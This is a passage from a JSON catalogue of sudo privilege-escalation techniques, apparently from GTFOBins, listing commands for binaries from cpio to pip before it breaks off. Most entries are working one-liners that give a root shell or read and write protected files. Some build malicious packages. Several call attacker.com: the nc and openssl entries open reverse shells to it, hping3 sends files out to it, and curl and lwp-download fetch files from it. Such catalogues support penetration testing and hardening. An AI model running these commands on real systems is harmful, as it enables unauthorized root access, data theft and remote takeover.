| "code": "echo '/bin/sh /dev/tty' >localhost\nsudo cpio -o --rsh-command /bin/sh -F localhost:\n" 405 | }, 406 | { 407 | "code": "LFILE=file_to_read\nTF=$(mktemp -d)\necho \"$LFILE\" | sudo cpio -R $UID -dp $TF\ncat \"$TF/$LFILE\"\n", 408 | "description": "The whole directory structure is copied to `$TF`." 409 | }, 410 | { 411 | "code": "LFILE=file_to_write\nLDIR=where_to_write\necho DATA >$LFILE\necho $LFILE | sudo cpio -R 0:0 -p $LDIR\n", 412 | "description": "Copies `$LFILE` to the `$LDIR` directory." 413 | } 414 | ], 415 | "cpulimit": [ 416 | { 417 | "code": "sudo cpulimit -l 100 -f /bin/sh" 418 | } 419 | ], 420 | "crash": [ 421 | { 422 | "code": "sudo crash -h\n!sh\n", 423 | "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply." 424 | } 425 | ], 426 | "crontab": [ 427 | { 428 | "code": "sudo crontab -e", 429 | "description": "The commands are executed according to the crontab file edited via the `crontab` utility." 430 | } 431 | ], 432 | "csh": [ 433 | { 434 | "code": "sudo csh" 435 | } 436 | ], 437 | "csplit": [ 438 | { 439 | "code": "LFILE=file_to_read\ncsplit $LFILE 1\ncat xx01\n" 440 | } 441 | ], 442 | "csvtool": [ 443 | { 444 | "code": "sudo csvtool call '/bin/sh;false' /etc/passwd" 445 | } 446 | ], 447 | "cupsfilter": [ 448 | { 449 | "code": "LFILE=file_to_read\nsudo cupsfilter -i application/octet-stream -m application/octet-stream $LFILE\n" 450 | } 451 | ], 452 | "curl": [ 453 | { 454 | "code": "URL=http://attacker.com/file_to_get\nLFILE=file_to_save\nsudo curl $URL -o $LFILE\n", 455 | "description": "Fetch a remote file via HTTP GET request." 456 | } 457 | ], 458 | "cut": [ 459 | { 460 | "code": "LFILE=file_to_read\nsudo cut -d \"\" -f1 \"$LFILE\"\n" 461 | } 462 | ], 463 | "dash": [ 464 | { 465 | "code": "sudo dash" 466 | } 467 | ], 468 | "date": [ 469 | { 470 | "code": "LFILE=file_to_read\nsudo date -f $LFILE\n" 471 | } 472 | ], 473 | "dc": [ 474 | { 475 | "code": "sudo dc -e '!/bin/sh'" 476 | } 477 | ], 478 | "dd": [ 479 | { 480 | "code": "LFILE=file_to_write\necho \"data\" | sudo dd of=$LFILE\n" 481 | } 482 | ], 483 | "debugfs": [ 484 | { 485 | "code": "sudo debugfs\n!/bin/sh\n" 486 | } 487 | ], 488 | "dialog": [ 489 | { 490 | "code": "LFILE=file_to_read\nsudo dialog --textbox \"$LFILE\" 0 0\n" 491 | } 492 | ], 493 | "diff": [ 494 | { 495 | "code": "LFILE=file_to_read\nsudo diff --line-format=%L /dev/null $LFILE\n" 496 | } 497 | ], 498 | "dig": [ 499 | { 500 | "code": "LFILE=file_to_read\nsudo dig -f $LFILE\n" 501 | } 502 | ], 503 | "distcc": [ 504 | { 505 | "code": "sudo distcc /bin/sh" 506 | } 507 | ], 508 | "dmesg": [ 509 | { 510 | "code": "sudo dmesg -H\n!/bin/sh\n", 511 | "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply." 512 | } 513 | ], 514 | "dmidecode": [ 515 | { 516 | "code": "LFILE=file_to_write\nsudo dmidecode --no-sysfs -d x.dmi --dump-bin \"$LFILE\"\n", 517 | "description": "It can be used to overwrite files using a specially crafted SMBIOS file that can be read as a memory device by dmidecode.\nGenerate the file with [dmiwrite](https://github.com/adamreiser/dmiwrite) and upload it to the target.\n\n- `--dump-bin`, will cause dmidecode to write the payload to the destination specified, prepended with 32 null bytes.\n\n- `--no-sysfs`, if the target system is using an older version of dmidecode, you may need to omit the option.\n\n```\nmake dmiwrite\nTF=$(mktemp)\necho \"DATA\" > $TF\n./dmiwrite $TF x.dmi\n```\n" 518 | } 519 | ], 520 | "dmsetup": [ 521 | { 522 | "code": "sudo dmsetup create base < $TF/x.sh\nfpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF\n```\n" 529 | } 530 | ], 531 | "docker": [ 532 | { 533 | "code": "sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh", 534 | "description": "The resulting is a root shell." 535 | } 536 | ], 537 | "dosbox": [ 538 | { 539 | "code": "LFILE='\\path\\to\\file_to_write'\nsudo dosbox -c 'mount c /' -c \"echo DATA >c:$LFILE\" -c exit\n", 540 | "description": "Note that the name of the written file in the following example will be `FILE_TO_`. Also note that `echo` terminates the string with a DOS-style line terminator (`\\r\\n`), if that's a problem and your scenario allows it, you can create the file outside `dosbox`, then use `copy` to do the actual write." 541 | } 542 | ], 543 | "dotnet": [ 544 | { 545 | "code": "sudo dotnet fsi\nSystem.Diagnostics.Process.Start(\"/bin/sh\").WaitForExit();;\n" 546 | } 547 | ], 548 | "dpkg": [ 549 | { 550 | "code": "sudo dpkg -l\n!/bin/sh\n", 551 | "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply." 552 | }, 553 | { 554 | "code": "sudo dpkg -i x_1.0_all.deb", 555 | "description": "It runs an interactive shell using a specially crafted Debian package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'exec /bin/sh' > $TF/x.sh\nfpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF\n```\n" 556 | } 557 | ], 558 | "dstat": [ 559 | { 560 | "code": "echo 'import os; os.execv(\"/bin/sh\", [\"sh\"])' >/usr/local/share/dstat/dstat_xxx.py\nsudo dstat --xxx\n" 561 | } 562 | ], 563 | "dvips": [ 564 | { 565 | "code": "tex '\\special{psfile=\"`/bin/sh 1>&0\"}\\end'\nsudo dvips -R0 texput.dvi\n" 566 | } 567 | ], 568 | "easy_install": [ 569 | { 570 | "code": "TF=$(mktemp -d)\necho \"import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')\" > $TF/setup.py\nsudo easy_install $TF\n" 571 | } 572 | ], 573 | "eb": [ 574 | { 575 | "code": "sudo eb logs\n!/bin/sh\n" 576 | } 577 | ], 578 | "ed": [ 579 | { 580 | "code": "sudo ed\n!/bin/sh\n" 581 | } 582 | ], 583 | "efax": [ 584 | { 585 | "code": "LFILE=file_to_read\nsudo efax -d \"$LFILE\"\n" 586 | } 587 | ], 588 | "elvish": [ 589 | { 590 | "code": "sudo elvish" 591 | } 592 | ], 593 | "emacs": [ 594 | { 595 | "code": "sudo emacs -Q -nw --eval '(term \"/bin/sh\")'" 596 | } 597 | ], 598 | "enscript": [ 599 | { 600 | "code": "sudo enscript /dev/null -qo /dev/null -I '/bin/sh >&2'" 601 | } 602 | ], 603 | "env": [ 604 | { 605 | "code": "sudo env /bin/sh" 606 | } 607 | ], 608 | "eqn": [ 609 | { 610 | "code": "LFILE=file_to_read\nsudo eqn \"$LFILE\"\n" 611 | } 612 | ], 613 | "espeak": [ 614 | { 615 | "code": "LFILE=file_to_read\nsudo espeak -qXf \"$LFILE\"\n" 616 | } 617 | ], 618 | "ex": [ 619 | { 620 | "code": "sudo ex\n!/bin/sh\n" 621 | } 622 | ], 623 | "exiftool": [ 624 | { 625 | "code": "LFILE=file_to_write\nINPUT=input_file\nsudo exiftool -filename=$LFILE $INPUT\n" 626 | } 627 | ], 628 | "expand": [ 629 | { 630 | "code": "LFILE=file_to_read\nsudo expand \"$LFILE\"\n" 631 | } 632 | ], 633 | "expect": [ 634 | { 635 | "code": "sudo expect -c 'spawn /bin/sh;interact'" 636 | } 637 | ], 638 | "facter": [ 639 | { 640 | "code": "TF=$(mktemp -d)\necho 'exec(\"/bin/sh\")' > $TF/x.rb\nsudo FACTERLIB=$TF facter\n" 641 | } 642 | ], 643 | "file": [ 644 | { 645 | "code": "LFILE=file_to_read\nsudo file -f $LFILE\n", 646 | "description": "Each input line is treated as a filename for the `file` command and the output is corrupted by a suffix `:` followed by the result or the error of the operation, so this may not be suitable for binary files." 647 | } 648 | ], 649 | "find": [ 650 | { 651 | "code": "sudo find . -exec /bin/sh \\; -quit" 652 | } 653 | ], 654 | "fish": [ 655 | { 656 | "code": "sudo fish" 657 | } 658 | ], 659 | "flock": [ 660 | { 661 | "code": "sudo flock -u / /bin/sh" 662 | } 663 | ], 664 | "fmt": [ 665 | { 666 | "code": "LFILE=file_to_read\nsudo fmt -999 \"$LFILE\"\n", 667 | "description": "This corrupts the output by wrapping very long lines at the given width." 668 | } 669 | ], 670 | "fold": [ 671 | { 672 | "code": "LFILE=file_to_read\nsudo fold -w99999999 \"$LFILE\"\n" 673 | } 674 | ], 675 | "fping": [ 676 | { 677 | "code": "LFILE=file_to_read\nsudo fping -f $LFILE\n" 678 | } 679 | ], 680 | "ftp": [ 681 | { 682 | "code": "sudo ftp\n!/bin/sh\n" 683 | } 684 | ], 685 | "gawk": [ 686 | { 687 | "code": "sudo gawk 'BEGIN {system(\"/bin/sh\")}'" 688 | } 689 | ], 690 | "gcc": [ 691 | { 692 | "code": "sudo gcc -wrapper /bin/sh,-s ." 693 | } 694 | ], 695 | "gcloud": [ 696 | { 697 | "code": "sudo gcloud help\n!/bin/sh\n", 698 | "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply." 699 | } 700 | ], 701 | "gcore": [ 702 | { 703 | "code": "sudo gcore $PID" 704 | } 705 | ], 706 | "gdb": [ 707 | { 708 | "code": "sudo gdb -nx -ex '!sh' -ex quit" 709 | } 710 | ], 711 | "gem": [ 712 | { 713 | "code": "sudo gem open -e \"/bin/sh -c /bin/sh\" rdoc", 714 | "description": "This requires the name of an installed gem to be provided (`rdoc` is usually installed)." 715 | } 716 | ], 717 | "genie": [ 718 | { 719 | "code": "sudo genie -c '/bin/sh'" 720 | } 721 | ], 722 | "genisoimage": [ 723 | { 724 | "code": "LFILE=file_to_read\nsudo genisoimage -q -o - \"$LFILE\"\n" 725 | } 726 | ], 727 | "ghc": [ 728 | { 729 | "code": "sudo ghc -e 'System.Process.callCommand \"/bin/sh\"'" 730 | } 731 | ], 732 | "ghci": [ 733 | { 734 | "code": "sudo ghci\nSystem.Process.callCommand \"/bin/sh\"\n" 735 | } 736 | ], 737 | "gimp": [ 738 | { 739 | "code": "sudo gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.system(\"sh\")'" 740 | } 741 | ], 742 | "ginsh": [ 743 | { 744 | "code": "sudo ginsh\n!/bin/sh\n" 745 | } 746 | ], 747 | "git": [ 748 | { 749 | "code": "sudo PAGER='sh -c \"exec sh 0<&1\"' git -p help" 750 | }, 751 | { 752 | "code": "sudo git -p help config\n!/bin/sh\n", 753 | "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply." 754 | }, 755 | { 756 | "code": "sudo git branch --help config\n!/bin/sh\n", 757 | "description": "The help system can also be reached from any `git` command, e.g., `git branch`. This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply." 758 | }, 759 | { 760 | "code": "TF=$(mktemp -d)\ngit init \"$TF\"\necho 'exec /bin/sh 0<&2 1>&2' >\"$TF/.git/hooks/pre-commit.sample\"\nmv \"$TF/.git/hooks/pre-commit.sample\" \"$TF/.git/hooks/pre-commit\"\nsudo git -C \"$TF\" commit --allow-empty -m x\n", 761 | "description": "Git hooks are merely shell scripts and in the following example the hook associated to the `pre-commit` action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the `-C` option." 762 | }, 763 | { 764 | "code": "TF=$(mktemp -d)\nln -s /bin/sh \"$TF/git-x\"\nsudo git \"--exec-path=$TF\" x\n" 765 | } 766 | ], 767 | "grc": [ 768 | { 769 | "code": "sudo grc --pty /bin/sh" 770 | } 771 | ], 772 | "grep": [ 773 | { 774 | "code": "LFILE=file_to_read\nsudo grep '' $LFILE\n" 775 | } 776 | ], 777 | "gtester": [ 778 | { 779 | "code": "TF=$(mktemp)\necho '#!/bin/sh' > $TF\necho 'exec /bin/sh 0<&1' >> $TF\nchmod +x $TF\nsudo gtester -q $TF\n" 780 | } 781 | ], 782 | "gzip": [ 783 | { 784 | "code": "LFILE=file_to_read\nsudo gzip -f $LFILE -t\n" 785 | } 786 | ], 787 | "hd": [ 788 | { 789 | "code": "LFILE=file_to_read\nsudo hd \"$LFILE\"\n" 790 | } 791 | ], 792 | "head": [ 793 | { 794 | "code": "LFILE=file_to_read\nsudo head -c1G \"$LFILE\"\n" 795 | } 796 | ], 797 | "hexdump": [ 798 | { 799 | "code": "LFILE=file_to_read\nsudo hexdump -C \"$LFILE\"\n" 800 | } 801 | ], 802 | "highlight": [ 803 | { 804 | "code": "LFILE=file_to_read\nsudo highlight --no-doc --failsafe \"$LFILE\"\n" 805 | } 806 | ], 807 | "hping3": [ 808 | { 809 | "code": "sudo hping3\n/bin/sh\n" 810 | }, 811 | { 812 | "code": "RHOST=attacker.com\nLFILE=file_to_read\nsudo hping3 \"$RHOST\" --icmp --data 500 --sign xxx --file \"$LFILE\"\n", 813 | "description": "The file is continuously sent, adjust the `--count` parameter or kill the sender when done. Receive on the attacker box with:\n\n```\nsudo hping3 --icmp --listen xxx --dump\n```\n" 814 | } 815 | ], 816 | "iconv": [ 817 | { 818 | "code": "LFILE=file_to_read\n./iconv -f 8859_1 -t 8859_1 \"$LFILE\"\n" 819 | } 820 | ], 821 | "iftop": [ 822 | { 823 | "code": "sudo iftop\n!/bin/sh\n" 824 | } 825 | ], 826 | "install": [ 827 | { 828 | "code": "LFILE=file_to_change\nTF=$(mktemp)\nsudo install -m 6777 $LFILE $TF\n" 829 | } 830 | ], 831 | "ionice": [ 832 | { 833 | "code": "sudo ionice /bin/sh" 834 | } 835 | ], 836 | "ip": [ 837 | { 838 | "code": "LFILE=file_to_read\nsudo ip -force -batch \"$LFILE\"\n" 839 | }, 840 | { 841 | "code": "sudo ip netns add foo\nsudo ip netns exec foo /bin/sh\nsudo ip netns delete foo\n", 842 | "description": "This only works for Linux with CONFIG_NET_NS=y." 843 | }, 844 | { 845 | "code": "sudo ip netns add foo\nsudo ip netns exec foo /bin/ln -s /proc/1/ns/net /var/run/netns/bar\nsudo ip netns exec bar /bin/sh\nsudo ip netns delete foo\nsudo ip netns delete bar\n", 846 | "description": "This only works for Linux with CONFIG_NET_NS=y. This version also grants network access." 847 | } 848 | ], 849 | "irb": [ 850 | { 851 | "code": "sudo irb\nexec '/bin/bash'\n" 852 | } 853 | ], 854 | "ispell": [ 855 | { 856 | "code": "sudo ispell /etc/passwd\n!/bin/sh\n" 857 | } 858 | ], 859 | "jjs": [ 860 | { 861 | "code": "echo \"Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \\$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()\" | sudo jjs" 862 | } 863 | ], 864 | "joe": [ 865 | { 866 | "code": "sudo joe\n^K!/bin/sh\n" 867 | } 868 | ], 869 | "join": [ 870 | { 871 | "code": "LFILE=file_to_read\nsudo join -a 2 /dev/null $LFILE\n" 872 | } 873 | ], 874 | "journalctl": [ 875 | { 876 | "code": "sudo journalctl\n!/bin/sh\n" 877 | } 878 | ], 879 | "jq": [ 880 | { 881 | "code": "LFILE=file_to_read\nsudo jq -Rr . \"$LFILE\"\n" 882 | } 883 | ], 884 | "jrunscript": [ 885 | { 886 | "code": "sudo jrunscript -e \"exec('/bin/sh -c \\$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')\"" 887 | } 888 | ], 889 | "jtag": [ 890 | { 891 | "code": "sudo jtag --interactive\nshell /bin/sh\n" 892 | } 893 | ], 894 | "julia": [ 895 | { 896 | "code": "sudo julia -e 'run(`/bin/sh`)'\n" 897 | } 898 | ], 899 | "knife": [ 900 | { 901 | "code": "sudo knife exec -E 'exec \"/bin/sh\"'\n" 902 | } 903 | ], 904 | "ksh": [ 905 | { 906 | "code": "sudo ksh" 907 | } 908 | ], 909 | "ksshell": [ 910 | { 911 | "code": "LFILE=file_to_read\nsudo ksshell -i $LFILE\n" 912 | } 913 | ], 914 | "ksu": [ 915 | { 916 | "code": "sudo ksu -q -e /bin/sh" 917 | } 918 | ], 919 | "kubectl": [ 920 | { 921 | "code": "LFILE=dir_to_serve\nsudo kubectl proxy --address=0.0.0.0 --port=4444 --www=$LFILE --www-prefix=/x/\n" 922 | } 923 | ], 924 | "latex": [ 925 | { 926 | "code": "sudo latex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{file_to_read}\\end{document}'\nstrings article.dvi\n", 927 | "description": "The read file will be part of the output." 928 | }, 929 | { 930 | "code": "sudo latex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n" 931 | } 932 | ], 933 | "latexmk": [ 934 | { 935 | "code": "sudo latexmk -e 'exec \"/bin/sh\";'" 936 | } 937 | ], 938 | "ld.so": [ 939 | { 940 | "code": "sudo /lib/ld.so /bin/sh" 941 | } 942 | ], 943 | "ldconfig": [ 944 | { 945 | "code": "TF=$(mktemp -d)\necho \"$TF\" > \"$TF/conf\"\n# move malicious libraries in $TF\nsudo ldconfig -f \"$TF/conf\"\n", 946 | "description": "This allows to override one or more shared libraries. Beware though that it is easy to *break* target and other binaries." 947 | } 948 | ], 949 | "less": [ 950 | { 951 | "code": "sudo less /etc/profile\n!/bin/sh\n" 952 | } 953 | ], 954 | "lftp": [ 955 | { 956 | "code": "sudo lftp -c '!/bin/sh'" 957 | } 958 | ], 959 | "links": [ 960 | { 961 | "code": "LFILE=file_to_read\nsudo links \"$LFILE\"\n" 962 | } 963 | ], 964 | "ln": [ 965 | { 966 | "code": "sudo ln -fs /bin/sh /bin/ln\nsudo ln\n" 967 | } 968 | ], 969 | "loginctl": [ 970 | { 971 | "code": "sudo loginctl user-status\n!/bin/sh\n" 972 | } 973 | ], 974 | "logsave": [ 975 | { 976 | "code": "sudo logsave /dev/null /bin/sh -i" 977 | } 978 | ], 979 | "look": [ 980 | { 981 | "code": "LFILE=file_to_read\nsudo look '' \"$LFILE\"\n" 982 | } 983 | ], 984 | "ltrace": [ 985 | { 986 | "code": "sudo ltrace -b -L /bin/sh" 987 | } 988 | ], 989 | "lua": [ 990 | { 991 | "code": "sudo lua -e 'os.execute(\"/bin/sh\")'" 992 | } 993 | ], 994 | "lualatex": [ 995 | { 996 | "code": "sudo lualatex -shell-escape '\\documentclass{article}\\begin{document}\\directlua{os.execute(\"/bin/sh\")}\\end{document}'" 997 | } 998 | ], 999 | "luatex": [ 1000 | { 1001 | "code": "sudo luatex -shell-escape '\\directlua{os.execute(\"/bin/sh\")}\\end'" 1002 | } 1003 | ], 1004 | "lwp-download": [ 1005 | { 1006 | "code": "URL=http://attacker.com/file_to_get\nLFILE=file_to_save\nsudo lwp-download $URL $LFILE\n" 1007 | } 1008 | ], 1009 | "lwp-request": [ 1010 | { 1011 | "code": "LFILE=file_to_read\nsudo lwp-request \"file://$LFILE\"\n" 1012 | } 1013 | ], 1014 | "mail": [ 1015 | { 1016 | "code": "sudo mail --exec='!/bin/sh'", 1017 | "description": "GNU version only." 1018 | } 1019 | ], 1020 | "make": [ 1021 | { 1022 | "code": "COMMAND='/bin/sh'\nsudo make -s --eval=$'x:\\n\\t-'\"$COMMAND\"\n" 1023 | } 1024 | ], 1025 | "man": [ 1026 | { 1027 | "code": "sudo man man\n!/bin/sh\n" 1028 | } 1029 | ], 1030 | "mawk": [ 1031 | { 1032 | "code": "sudo mawk 'BEGIN {system(\"/bin/sh\")}'" 1033 | } 1034 | ], 1035 | "minicom": [ 1036 | { 1037 | "code": "sudo minicom -D /dev/null\n", 1038 | "description": "Start the following command to open the TUI interface, then:\n1. press `Ctrl-A o` and select `Filenames and paths`;\n2. press `e`, type `/bin/sh`, then `Enter`;\n3. Press `Esc` twice;\n4. Press `Ctrl-A k` to drop the shell.\nAfter the shell, exit with `Ctrl-A x`.\n" 1039 | } 1040 | ], 1041 | "more": [ 1042 | { 1043 | "code": "TERM= sudo more /etc/profile\n!/bin/sh\n" 1044 | } 1045 | ], 1046 | "mosquitto": [ 1047 | { 1048 | "code": "LFILE=file_to_read\nsudo mosquitto -c \"$LFILE\"\n" 1049 | } 1050 | ], 1051 | "mount": [ 1052 | { 1053 | "code": "sudo mount -o bind /bin/sh /bin/mount\nsudo mount\n", 1054 | "description": "Exploit the fact that `mount` can be executed via `sudo` to *replace* the `mount` binary with a shell." 1055 | } 1056 | ], 1057 | "msfconsole": [ 1058 | { 1059 | "code": "sudo msfconsole\nmsf6 > irb\n>> system(\"/bin/sh\")\n" 1060 | } 1061 | ], 1062 | "msgattrib": [ 1063 | { 1064 | "code": "LFILE=file_to_read\nsudo msgattrib -P $LFILE\n" 1065 | } 1066 | ], 1067 | "msgcat": [ 1068 | { 1069 | "code": "LFILE=file_to_read\nsudo msgcat -P $LFILE\n" 1070 | } 1071 | ], 1072 | "msgconv": [ 1073 | { 1074 | "code": "LFILE=file_to_read\nsudo msgconv -P $LFILE\n" 1075 | } 1076 | ], 1077 | "msgfilter": [ 1078 | { 1079 | "code": "echo x | sudo msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID'\n", 1080 | "description": "Any text file will do as the input (use `-i`). `kill` is needed to spawn the shell only once." 1081 | } 1082 | ], 1083 | "msgmerge": [ 1084 | { 1085 | "code": "LFILE=file_to_read\nsudo msgmerge -P $LFILE /dev/null\n" 1086 | } 1087 | ], 1088 | "msguniq": [ 1089 | { 1090 | "code": "LFILE=file_to_read\nsudo msguniq -P $LFILE\n" 1091 | } 1092 | ], 1093 | "mtr": [ 1094 | { 1095 | "code": "LFILE=file_to_read\nsudo mtr --raw -F \"$LFILE\"\n" 1096 | } 1097 | ], 1098 | "multitime": [ 1099 | { 1100 | "code": "sudo multitime /bin/sh" 1101 | } 1102 | ], 1103 | "mv": [ 1104 | { 1105 | "code": "LFILE=file_to_write\nTF=$(mktemp)\necho \"DATA\" > $TF\nsudo mv $TF $LFILE\n" 1106 | } 1107 | ], 1108 | "mysql": [ 1109 | { 1110 | "code": "sudo mysql -e '\\! /bin/sh'" 1111 | } 1112 | ], 1113 | "nano": [ 1114 | { 1115 | "code": "sudo nano\n^R^X\nreset; sh 1>&0 2>&0\n" 1116 | } 1117 | ], 1118 | "nasm": [ 1119 | { 1120 | "code": "LFILE=file_to_read\nsudo nasm -@ $LFILE\n" 1121 | } 1122 | ], 1123 | "nawk": [ 1124 | { 1125 | "code": "sudo nawk 'BEGIN {system(\"/bin/sh\")}'" 1126 | } 1127 | ], 1128 | "nc": [ 1129 | { 1130 | "code": "RHOST=attacker.com\nRPORT=12345\nsudo nc -e /bin/sh $RHOST $RPORT\n", 1131 | "description": "Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional." 1132 | } 1133 | ], 1134 | "ncdu": [ 1135 | { 1136 | "code": "sudo ncdu\nb\n" 1137 | } 1138 | ], 1139 | "ncftp": [ 1140 | { 1141 | "code": "sudo ncftp\n!/bin/sh\n" 1142 | } 1143 | ], 1144 | "neofetch": [ 1145 | { 1146 | "code": "TF=$(mktemp)\necho 'exec /bin/sh' >$TF\nsudo neofetch --config $TF\n" 1147 | } 1148 | ], 1149 | "nft": [ 1150 | { 1151 | "code": "LFILE=file_to_read\nsudo nft -f \"$LFILE\"\n" 1152 | } 1153 | ], 1154 | "nice": [ 1155 | { 1156 | "code": "sudo nice /bin/sh" 1157 | } 1158 | ], 1159 | "nl": [ 1160 | { 1161 | "code": "LFILE=file_to_read\nsudo nl -bn -w1 -s '' $LFILE\n" 1162 | } 1163 | ], 1164 | "nm": [ 1165 | { 1166 | "code": "LFILE=file_to_read\nsudo nm @$LFILE\n" 1167 | } 1168 | ], 1169 | "nmap": [ 1170 | { 1171 | "code": "TF=$(mktemp)\necho 'os.execute(\"/bin/sh\")' > $TF\nsudo nmap --script=$TF\n", 1172 | "description": "Input echo is disabled." 1173 | }, 1174 | { 1175 | "code": "sudo nmap --interactive\nnmap> !sh\n", 1176 | "description": "The interactive mode, available on versions 2.02 to 5.21, can be used to execute shell commands." 1177 | } 1178 | ], 1179 | "node": [ 1180 | { 1181 | "code": "sudo node -e 'require(\"child_process\").spawn(\"/bin/sh\", {stdio: [0, 1, 2]})'\n" 1182 | } 1183 | ], 1184 | "nohup": [ 1185 | { 1186 | "code": "sudo nohup /bin/sh -c \"sh <$(tty) >$(tty) 2>$(tty)\"" 1187 | } 1188 | ], 1189 | "npm": [ 1190 | { 1191 | "code": "TF=$(mktemp -d)\necho '{\"scripts\": {\"preinstall\": \"/bin/sh\"}}' > $TF/package.json\nsudo npm -C $TF --unsafe-perm i\n", 1192 | "description": "Additionally, arbitrary script names can be used in place of `preinstall` and triggered by name with, e.g., `npm -C $TF run preinstall`." 1193 | } 1194 | ], 1195 | "nroff": [ 1196 | { 1197 | "code": "TF=$(mktemp -d)\necho '#!/bin/sh' > $TF/groff\necho '/bin/sh' >> $TF/groff\nchmod +x $TF/groff\nsudo GROFF_BIN_PATH=$TF nroff\n" 1198 | } 1199 | ], 1200 | "nsenter": [ 1201 | { 1202 | "code": "sudo nsenter /bin/sh" 1203 | } 1204 | ], 1205 | "ntpdate": [ 1206 | { 1207 | "code": "LFILE=file_to_read\nsudo ntpdate -a x -k $LFILE -d localhost\n" 1208 | } 1209 | ], 1210 | "octave": [ 1211 | { 1212 | "code": "sudo octave-cli --eval 'system(\"/bin/sh\")'" 1213 | } 1214 | ], 1215 | "od": [ 1216 | { 1217 | "code": "LFILE=file_to_read\nsudo od -An -c -w9999 \"$LFILE\"\n" 1218 | } 1219 | ], 1220 | "openssl": [ 1221 | { 1222 | "code": "RHOST=attacker.com\nRPORT=12345\nmkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | sudo openssl s_client -quiet -connect $RHOST:$RPORT > /tmp/s; rm /tmp/s\n", 1223 | "description": "To receive the shell run the following on the attacker box:\n\n openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\n openssl s_server -quiet -key key.pem -cert cert.pem -port 12345\n\nCommunication between attacker and target will be encrypted.\n" 1224 | } 1225 | ], 1226 | "openvpn": [ 1227 | { 1228 | "code": "sudo openvpn --dev null --script-security 2 --up '/bin/sh -c sh'\n" 1229 | }, 1230 | { 1231 | "code": "LFILE=file_to_read\nsudo openvpn --config \"$LFILE\"\n", 1232 | "description": "The file is actually parsed and the first partial wrong line is returned in an error message." 1233 | } 1234 | ], 1235 | "openvt": [ 1236 | { 1237 | "code": "COMMAND=id\nTF=$(mktemp -u)\nsudo openvt -- sh -c \"$COMMAND >$TF 2>&1\"\ncat $TF\n", 1238 | "description": "The command execution is blind (displayed on the virtual console), but it is possible to save the output on a temporary file." 1239 | } 1240 | ], 1241 | "opkg": [ 1242 | { 1243 | "code": "sudo opkg install x_1.0_all.deb\n", 1244 | "description": "It runs an interactive shell using a specially crafted Debian package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'exec /bin/sh' > $TF/x.sh\nfpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF\n```\n" 1245 | } 1246 | ], 1247 | "pandoc": [ 1248 | { 1249 | "code": "TF=$(mktemp)\necho 'os.execute(\"/bin/sh\")' >$TF\nsudo pandoc -L $TF /dev/null\n", 1250 | "description": "Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply." 1251 | } 1252 | ], 1253 | "paste": [ 1254 | { 1255 | "code": "LFILE=file_to_read\nsudo paste $LFILE\n" 1256 | } 1257 | ], 1258 | "pdb": [ 1259 | { 1260 | "code": "TF=$(mktemp)\necho 'import os; os.system(\"/bin/sh\")' > $TF\nsudo pdb $TF\ncont\n" 1261 | } 1262 | ], 1263 | "pdflatex": [ 1264 | { 1265 | "code": "sudo pdflatex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{file_to_read}\\end{document}'\npdftotext article.pdf -\n", 1266 | "description": "The read file will be part of the output." 1267 | }, 1268 | { 1269 | "code": "sudo pdflatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n" 1270 | } 1271 | ], 1272 | "pdftex": [ 1273 | { 1274 | "code": "sudo pdftex --shell-escape '\\write18{/bin/sh}\\end'\n" 1275 | } 1276 | ], 1277 | "perf": [ 1278 | { 1279 | "code": "sudo perf stat /bin/sh\n" 1280 | } 1281 | ], 1282 | "perl": [ 1283 | { 1284 | "code": "sudo perl -e 'exec \"/bin/sh\";'" 1285 | } 1286 | ], 1287 | "perlbug": [ 1288 | { 1289 | "code": "sudo perlbug -s 'x x x' -r x -c x -e 'exec /bin/sh;'" 1290 | } 1291 | ], 1292 | "pexec": [ 1293 | { 1294 | "code": "sudo pexec /bin/sh" 1295 | } 1296 | ], 1297 | "pg": [ 1298 | { 1299 | "code": "sudo pg /etc/profile\n!/bin/sh\n" 1300 | } 1301 | ], 1302 | "php": [ 1303 | { 1304 | "code": "CMD=\"/bin/sh\"\nsudo php -r \"system('$CMD');\"\n" 1305 | } 1306 | ], 1307 | "pic": [ 1308 | { 1309 | "code": "sudo pic -U\n.PS\nsh X sh X\n" 1310 | } 1311 | ], 1312 | "pico": [ 1313 | { 1314 | "code": "sudo pico\n^R^X\nreset; sh 1>&0 2>&0\n" 1315 | } 1316 | ], 1317 | "pidstat": [ 1318 | { 1319 | "code": "COMMAND=id\nsudo pidstat -e $COMMAND\n" 1320 | } 1321 | ], 1322 | "pip": [ 1323 | { 1324 | "code": "TF=$(mktemp -d)\necho \"import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')\" > $TF/setup.py\nsudo pip install $TF\n" 1325 | } 1326 | ], 1327 | "pkexec": [ 1328 | { 1329 | 